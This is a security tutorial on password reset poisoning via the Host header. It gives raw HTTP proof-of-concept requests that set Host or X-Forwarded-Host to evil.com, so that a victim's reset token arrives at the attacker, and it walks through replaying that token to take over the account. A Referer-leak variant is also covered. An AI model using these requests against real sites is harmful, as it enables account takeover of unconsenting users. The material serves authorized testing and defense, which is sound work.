Password Reset Poisoning via the Host Header
If reset links are built from the incoming Host header, an attacker can redirect the token to their own server. We cover the poisoning flow and the fixes.
Password reset poisoning is an account-takeover technique that abuses one bad assumption: that the Host header reflects your own domain. If the app builds the reset link from whatever host the request carried, an attacker triggers a reset for a victim and the email contains a link pointing at the attacker's server — so the secret token is delivered straight to them. This is how to find and prove it.
Finding it
The flaw is constructing an absolute URL from request-controlled input, e.g. reset_url = f"https://{request.headers['Host']}/reset?token={token}". You find it by tampering with the host on the "forgot password" request and watching where the resulting link points.
What to probe on the forgot-password endpoint:
- Override
Hostdirectly and see if the email link host changes. - If
Hostis validated, tryX-Forwarded-Host,X-Host,X-Forwarded-Server. - Try a duplicate
Hostheader (some apps validate the first, build links from the second). - Try injecting a port or path:
Host: victim.com:@evil.comorHost: evil.com.
The same failure mode appears in every "email a link with a secret" flow — account verification, magic-link login, invitations — so test all of them.
To observe the resulting link without a real victim, use an account you control and read the email the app actually sends, or stand up a listener on the attacker host and watch for the token to arrive. Burp's "Host header" checks and a collaborator domain make the loop fast: set Host/X-Forwarded-Host to your collaborator subdomain and see whether the delivered link — or a later callback — points there.
Proof of concept
Submit a reset for the victim's email while overriding the host to one you control:
POST /forgot-password HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com
The app generates a valid token and emails the victim a link built from your host:
Subject: Reset your password
Reset here: https://evil.com/reset?token=SECRET_RESET_TOKEN
When the victim clicks (the email looks legitimate — it is the real reset flow), the token lands in your server logs:
GET /reset?token=SECRET_RESET_TOKEN (received on evil.com)
Replay it against the real site to seize the account:
POST /reset HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded
token=SECRET_RESET_TOKEN&password=AttackerOwned123!
A successful login with the new password is the proof. If Host is filtered, the same flow with X-Forwarded-Host: evil.com (keeping a valid Host) often slips through partial checks:
POST /forgot-password HTTP/1.1
Host: app.example.com
X-Forwarded-Host: evil.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com
Going further
Some variants need no victim click at all. If the reset page (or an embedded third-party resource on it) leaks the token via the Referer header to an attacker-controlled host, capture it passively:
Referer: https://app.example.com/reset?token=SECRET_RESET_TOKEN
Set a resource on the reset page to load from your host (where possible) and read the token straight out of the referrer — zero interaction.
This bug is so common because building absolute URLs feels like a presentation detail, not a security decision: the developer needs a full origin for a clickable link, the request already carries a Host, and the framework rarely warns the header is attacker-supplied. The result is the destination of a single-use credential sourced from the one place the attacker fully controls.
The strongest report is an end-to-end takeover: the poisoned reset request, the link arriving with your host, the token captured, and a successful login as the victim. To stay safe, use a victim account you control and a benign listener for the attacker host, on authorized scope only.